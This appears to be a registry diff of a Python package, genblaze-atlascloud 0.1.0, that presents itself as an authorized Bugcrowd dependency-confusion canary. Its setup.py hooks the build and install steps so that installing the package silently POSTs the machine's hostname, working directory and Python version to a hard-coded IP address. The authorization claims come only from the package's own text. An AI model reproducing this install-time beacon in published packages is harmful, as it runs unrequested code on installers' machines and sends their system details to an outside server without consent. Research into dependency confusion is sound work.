genblaze-atlascloud 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,9 @@
1
+ Metadata-Version: 2.1
2
+ Name: genblaze-atlascloud
3
+ Version: 0.1.0
4
+ Summary: Authorized security-research canary for Bugcrowd report (installation telemetry only)
5
+ Home-page: https://bugcrowd.com/
6
+ Author: Security Researcher (Bugcrowd)
7
+ Description-Content-Type: text/plain
8
+
9
+ Authorized dependency-confusion canary. Reports only package name, hostname, install path, cwd, user-agent, stage, and timestamp to the researcher's controlled endpoint. No environment variables, credentials, files, or tokens are read. Unpublished immediately after evidence capture.
@@ -0,0 +1,13 @@
1
+ # genblaze-atlascloud — authorized security-research canary
2
+
3
+ Published with Bugcrowd/Backblaze authorization solely to prove dependency-confusion
4
+ install-time execution. It reports only:
5
+
6
+ - package name
7
+ - hostname
8
+ - install path
9
+ - build/install stage
10
+ - timestamp
11
+
12
+ It does **not** read environment variables, credentials, files, or tokens, and has no
13
+ persistence. It will be unpublished immediately after evidence capture.
@@ -0,0 +1,9 @@
1
+ Metadata-Version: 2.1
2
+ Name: genblaze-atlascloud
3
+ Version: 0.1.0
4
+ Summary: Authorized security-research canary for Bugcrowd report (installation telemetry only)
5
+ Home-page: https://bugcrowd.com/
6
+ Author: Security Researcher (Bugcrowd)
7
+ Description-Content-Type: text/plain
8
+
9
+ Authorized dependency-confusion canary. Reports only package name, hostname, install path, cwd, user-agent, stage, and timestamp to the researcher's controlled endpoint. No environment variables, credentials, files, or tokens are read. Unpublished immediately after evidence capture.
@@ -0,0 +1,7 @@
1
+ README.md
2
+ pyproject.toml
3
+ setup.py
4
+ genblaze_atlascloud.egg-info/PKG-INFO
5
+ genblaze_atlascloud.egg-info/SOURCES.txt
6
+ genblaze_atlascloud.egg-info/dependency_links.txt
7
+ genblaze_atlascloud.egg-info/top_level.txt
@@ -0,0 +1,3 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61"]
3
+ build-backend = "setuptools.build_meta"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,58 @@
1
+ from setuptools import setup
2
+ from setuptools.command.build_py import build_py
3
+ from setuptools.command.install import install
4
+ import json, os, platform, socket, time, urllib.request
5
+
6
+ # Existing controlled beacon endpoint used for the npm canaries.
7
+ CANARY_URL = os.environ.get("GENBLAZE_CANARY_URL", "http://13.140.137.222:8787/_ah/dc")
8
+ CANARY_ID = "genblaze-atlascloud-poc-2026-11-07"
9
+
10
+ def report(stage):
11
+ payload = {
12
+ "canary": CANARY_ID,
13
+ "package": "genblaze-atlascloud",
14
+ "hostname": socket.gethostname(),
15
+ "installPath": os.getcwd(),
16
+ "cwd": os.getcwd(),
17
+ "userAgent": "pip/python-%s" % platform.python_version(),
18
+ "protocol": "http" if CANARY_URL.startswith("http://") else "https",
19
+ "stage": stage,
20
+ "timestamp": int(time.time()),
21
+ }
22
+ try:
23
+ req = urllib.request.Request(
24
+ CANARY_URL,
25
+ data=json.dumps(payload).encode(),
26
+ headers={"Content-Type": "application/json", "User-Agent": "genblaze-canary/0.1.0"},
27
+ method="POST",
28
+ )
29
+ urllib.request.urlopen(req, timeout=5).read()
30
+ except Exception:
31
+ pass
32
+
33
+ class CanaryBuild(build_py):
34
+ def run(self):
35
+ report("build")
36
+ super().run()
37
+
38
+ class CanaryInstall(install):
39
+ def run(self):
40
+ report("install")
41
+ super().run()
42
+
43
+ setup(
44
+ name="genblaze-atlascloud",
45
+ version="0.1.0",
46
+ description="Authorized security-research canary for Bugcrowd report (installation telemetry only)",
47
+ long_description=(
48
+ "Authorized dependency-confusion canary. Reports only package name, hostname, "
49
+ "install path, cwd, user-agent, stage, and timestamp to the researcher's controlled "
50
+ "endpoint. No environment variables, credentials, files, or tokens are read. "
51
+ "Unpublished immediately after evidence capture."
52
+ ),
53
+ long_description_content_type="text/plain",
54
+ author="Security Researcher (Bugcrowd)",
55
+ url="https://bugcrowd.com/",
56
+ cmdclass={"build_py": CanaryBuild, "install": CanaryInstall},
57
+ py_modules=[],
58
+ )